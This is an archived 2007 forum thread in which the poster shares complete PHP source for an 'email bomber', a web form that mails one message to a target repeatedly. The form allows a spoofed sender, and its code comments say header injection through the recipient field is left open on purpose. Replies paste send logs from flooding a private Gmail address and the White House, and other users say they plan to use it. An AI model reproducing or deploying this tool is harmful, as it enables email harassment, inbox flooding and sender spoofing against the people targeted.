PDA

View Full Version : PHP Email Bomber by Ron



Ron
07-22-2007, 03:56 AM
PHP Email Bomber by Ron

Features
+ Able to put in name, to, from, subject, times, and a message.
+ The message can be in HTML.
+ And of course you can send the email more than once automatically.
+ A wait option so you can send emails every 5 seconds if you anted to avoid getting the email denied.

Test: http://ron.pwnds.info/spazemail.php
If you like this script, please visit www.goons.co.nr (my website) and click on an advertisement. Thank you!



<?
/*
Script Name: PHP Email Bomber originally by samatronic.com and by Ron
Script Author: Ron
Script Version: v.02

If you like this script, please visit www.goons.co.nr (my website) and click on an advertisement.
Thank you! ~Ron :)
*/
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>PHP Emailer originally by samatronic.com and fixed by Ron</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php
$name = stripslashes(htmlspecialchars($_POST['name']));
$to = htmlspecialchars($_POST['to']); // purposely does not stripslashes so you can put in blah@blah.com\nCC:blah2@blah.com
$from = stripslashes(htmlspecialchars($_POST['from']));
$subject = stripslashes(htmlspecialchars($_POST['subject']));
$count = $_POST['count'];
$sleep = $_POST['sleep'];
$message = stripslashes(nl2br($_POST['message'])); // doesn't use htmlspecialchars on purpose in order to send messages w/ html

if (isset($_POST['submit'])) // if submit button is pressed...
{
if (empty($count) || $count == 0 || !is_numeric($count))
$count = 1;
if (empty($sleep) || !is_numeric($sleep))
$sleep = 0;
$headers = "From: $name <$from>\nReply-To: $from\nContent-Type:text/html"; // shows name, from, and makes the email able to use html
echo "<p>Sending $count email(s) to: " . str_replace("\n", " ", $to) . "<br />\nThe wait is $sleep seconds in between each email.</p>\n\n";
$count++; // increment $count because we are starting $i at 1
for ($i = 1; $i < $count; $i++)
{
if (mail($to, $subject, $message, $headers))
$check = "<span style=\"color: #00FF00;\">Sent</span>";
else
$check = "<span style=\"color: #FF0000;\">Not Sent.</span>";
echo "Email $i: " . $check . " <br />\n";
if ($i < $count - 1 && $sleep != 0)
sleep($sleep);
}
echo "\n<br /><a href=\"$_SERVER[PHP_SELF]\">Would you like to send some more emails?</a>\n";
}
else
{
?>

<div align="center">
<p style="font-size: 25px;">PHP Emailer originally by samatronic.com and fixed by Ron</p>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post">
<table width="600">
<tr>
<td>Name:</td>
<td><input type="text" name="name" id="name" value="<?=$name;?>" /></td>
</tr>
<tr>
<td>To:</td>
<td><input type="text" name="to" id="to" value="<?=$to;?>" /></td>
</tr>
<tr>
<td>From:</td>
<td><input type="text" name="from" id="from" value="<?=$from;?>" /></td>
</tr>
<tr>
<td>Subject:</td>
<td><input type="text" name="subject" id="subject" value="<?=$subject;?>" /></td>
</tr>
<tr>
<td>Times:</td>
<td><input type="text" name="count" id="count" value="<?=$count;?>" /></td>
</tr>
<tr>
<td>Wait Time (in seconds):</td>
<td><input type="text" name="sleep" id="sleep" value="<?=$sleep;?>" /></td>
</tr>
<tr>
<td valign="top">Message:</td>
<td><textarea cols="50" rows="5" name="message" id="message"><?=$message;?></textarea></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="submit" id="submit" value="Send Emails" /></td>
</tr>
</table>
</form>
</div>

<?
}
?>

<p style="font-weight: bold; text-align: center;">Did you like this script? Please visit <a href="http://www.goons.co.nr" target="_blank">www.GOONS.co.nr</a> (my website)<br />
and please click on an advertisement! Thank you! ~Ron :)</p>
</body>
</html>


~Ron :D

Smartzkid
07-22-2007, 03:59 AM
Nice, but possibly malicious?

Ron
07-22-2007, 07:03 AM
Since when was an email bomber benign? :p

Santa_Clause
07-22-2007, 07:40 AM
This is lovely ;)

Harry
07-22-2007, 01:27 PM
Nice!

Hey Ron, whats your email address ;)

Sending 5 email(s) to: hy71194@gmail.com
The wait is 5 seconds in between each email.
Email 1: Sent
Email 2: Sent
Email 3: Sent
Email 4: Sent
Email 5: Sent

Would you like to send some more emails? (YES!)

Harry
08-11-2007, 09:06 PM
Woot srry for double post/bump, but look what I just did :p



Sending 50 email(s) to: President@whitehouse.gov
The wait is 5 seconds in between each email.
Email 1: Sent
Email 2: Sent
Email 3: Sent
Email 4: Sent
Email 5: Sent
Email 6: Sent
Email 7: Sent
Email 8: Sent
Email 9: Sent
Email 10: Sent
Email 11: Sent
Email 12: Sent
Email 13: Sent
Email 14: Sent
Email 15: Sent
Email 16: Sent
Email 17: Sent
Email 18: Sent
Email 19: Sent
Email 20: Sent
Email 21: Sent
Email 22: Sent
Email 23: Sent
Email 24: Sent
Email 25: Sent
Email 26: Sent
Email 27: Sent
Email 28: Sent
Email 29: Sent
Email 30: Sent
Email 31: Sent
Email 32: Sent
Email 33: Sent
Email 34: Sent
Email 35: Sent
Email 36: Sent
Email 37: Sent
Email 38: Sent
Email 39: Sent
Email 40: Sent
Email 41: Sent
Email 42: Sent
Email 43: Sent
Email 44: Sent
Email 45: Sent
Email 46: Sent
Email 47: Sent
Email 48: Sent
Email 49: Sent
Email 50: Sent

Would you like to send some more emails? [Take a guess ;) ]


LOL!!! Oops, better more to Mexico now! :o

bullzeye95
08-11-2007, 09:10 PM
LOL!!! Oops, better more to Mexico now! :o

Wow that's definitely the opposite of normal...
:p

Harry
08-11-2007, 09:48 PM
Well, If you just send 50+ emails to George Busy, wouldn't you wanna run away before his "hit men" get you? :p

dialeyj2
08-12-2007, 12:37 AM
lol nice, im sure he'll enjoy lookin at those :p

roflmao!!!!

kaustav_002
08-12-2007, 03:04 AM
Interesting...Im uh gonna use this k.
Thanks ron:D :D

GoF
08-12-2007, 10:15 AM
This is nice :D I'll try this.

Drunkenoldma
08-18-2007, 12:11 AM
Well, If you just send 50+ emails to George Busy, wouldn't you wanna run away before his "hit men" get you? :p

Wouldnt Pwnd or Ron need to run, they host the site lol

TOB
08-18-2007, 12:22 AM
Ron I seriously suggest you only host the code. When someone receives the mass emails they can check the additional headers and trace the IP to your site. You will be liable if people get harassment emails and the like.

Hobbit
08-18-2007, 12:22 AM
Sending 20 email(s) to: **********
The wait is 2 seconds in between each email.

Email 1: Sent
Email 2: Sent
Email 3: Sent
Email 4: Sent
Email 5: Sent
Email 6: Sent
Email 7: Sent
Email 8: Sent
Email 9: Sent
Email 10: Sent
Email 11: Sent
Email 12: Sent
Email 13: Sent
Email 14: Sent
Email 15: Sent
Email 16: Sent
Email 17: Sent
Email 18: Sent
Email 19: Sent
Email 20: Sent

Would you like to send some more emails?

Very nice ;)

TOB
08-18-2007, 12:25 AM
I only say this because when I hosted a PHP Bomber I made and let people know it started to get abused. I took it down after I read the logs I had it make.

Ron
08-18-2007, 12:38 AM
Don't worry about it. :) It's Pwnd's servers lol.

neilkamulkar
07-20-2013, 03:09 AM
Your script seems to be running fine in PHP 5.1 but seems to have a problem in PHP 5.3 can you please rewrite the script for 5.3 since I am not a geek in PHP
Neil

Rich
07-20-2013, 07:22 AM
That's one hell of a gravedig...Nearly 6 years.

Justin
07-20-2013, 10:08 AM
Closed.